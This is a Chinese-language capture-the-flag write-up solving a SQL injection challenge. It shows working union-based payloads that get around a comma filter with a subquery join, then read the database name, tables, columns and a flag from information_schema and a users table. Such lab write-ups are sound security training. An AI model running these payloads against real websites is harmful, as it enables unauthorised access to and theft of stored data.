题目:“百度杯”九月场 SQLi
进入题目一片空白,显示loading,一直以为题目出错了,后来看了源码得到了提示
访问login.php?id=1只显示welcome admin~
一顿操作没有发现注入
后面才知道出题人给的坑,我们需要访问index.php,在header里发现真正的登陆页面
有个302,看一下
找到真正的页面
很明显有两个字段,闭合符号为单引号时报错
先来波联合查询
?id=1' union select 1,2 %23
发现报错,并且报错内容1’ union select 1,逗号后面的东西好像被截断了
构造payload
?id=0' union select * from (select 1) as a join (select 2) b %23 //将这个表的两个字段连接起来
回显正常,说明语句执行成功。
爆库
?id=0’ union select * from (select database()) as a join (select 2) b %23
爆表
?id=0’ union select * from (select group_concat(table_name) from information_schema.tables where table_schema=database()) as a join (select 2) b %23
爆列
?id=0’ union select * from (select group_concat(column_name) from information_schema.columns where table_schema=database()) as a join (select 2) b %23
拿flag
?id=0’ union select * from (select flag_9c861b688330 from users) as a join (select 2) b %23
说是无单引号注入,其实用来类似于无列名注入的方式